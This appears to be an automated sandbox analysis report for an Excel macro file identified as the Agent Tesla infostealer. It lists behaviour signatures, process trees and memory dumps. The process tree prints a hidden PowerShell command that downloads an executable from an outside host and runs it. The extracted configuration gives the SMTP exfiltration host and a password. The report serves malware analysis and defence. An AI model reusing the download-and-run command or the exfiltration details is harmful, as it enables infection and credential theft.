Analysis
- max time kernel
131s - max time network
141s - platform
windows10-2004_x64 - resource
win10v2004-20230221-en - resource tags
- submitted
14/03/2023, 17:05
General
- Target 4b222ff63ba4a27646751b5dadfd3ed7.xlsm
- Size 430KB
- Sample230314-vmarssgf75
- SHA256 37eb0640c85ef74c91b533f1fc7cc1ac9584d648330e105fb37b4231f885576c
Malware Config
Extracted
-
agenttesla
-
Protocol
smtp
-
Host
sqsendy.shop
-
Port
587
-
Username
-
Password
I^l1gJFLlu#v
-
Email to
Signatures
- AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- Downloads MZ/PE file
- Executes dropped EXE 1 IoCs
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 12 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4b222ff63ba4a27646751b5dadfd3ed7.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "http://lostheaven.com.cn/wp-includes/BL-1600072563308pdf.exe" -OutFile $TempFile; Start-Process $TempFile;2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\tmp84E4.exe"C:\Users\Admin\AppData\Local\Temp\tmp84E4.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_jztgsv43.zwp.ps1
tmp84E4.exe
tmp84E4.exe
tmp84E4.exe
memory/324-160-0x0000022B23D80000-0x0000022B23D90000-memory.dmp
memory/324-159-0x0000022B23D80000-0x0000022B23D90000-memory.dmp
memory/324-158-0x0000022B23D80000-0x0000022B23D90000-memory.dmp
memory/324-153-0x0000022B3C080000-0x0000022B3C0A2000-memory.dmp
memory/1436-186-0x0000000004E50000-0x0000000004E60000-memory.dmp
memory/1436-189-0x0000000006470000-0x000000000647A000-memory.dmp
memory/1436-194-0x0000000004E50000-0x0000000004E60000-memory.dmp
memory/1436-191-0x00000000068D0000-0x0000000006A92000-memory.dmp
memory/1436-190-0x00000000066B0000-0x0000000006700000-memory.dmp
memory/1436-188-0x00000000064A0000-0x0000000006532000-memory.dmp
memory/1436-187-0x0000000004E90000-0x0000000004EF6000-memory.dmp
memory/1436-182-0x0000000005440000-0x00000000059E4000-memory.dmp
memory/1436-180-0x0000000000400000-0x0000000000430000-memory.dmp
memory/2024-178-0x0000000000DF0000-0x0000000000F0E000-memory.dmp
memory/2732-133-0x00007FFA2A110000-0x00007FFA2A120000-memory.dmp
memory/2732-134-0x00007FFA2A110000-0x00007FFA2A120000-memory.dmp
memory/2732-135-0x00007FFA2A110000-0x00007FFA2A120000-memory.dmp
memory/2732-139-0x00007FFA278C0000-0x00007FFA278D0000-memory.dmp
memory/2732-136-0x00007FFA2A110000-0x00007FFA2A120000-memory.dmp
memory/2732-137-0x00007FFA2A110000-0x00007FFA2A120000-memory.dmp
memory/2732-138-0x00007FFA278C0000-0x00007FFA278D0000-memory.dmp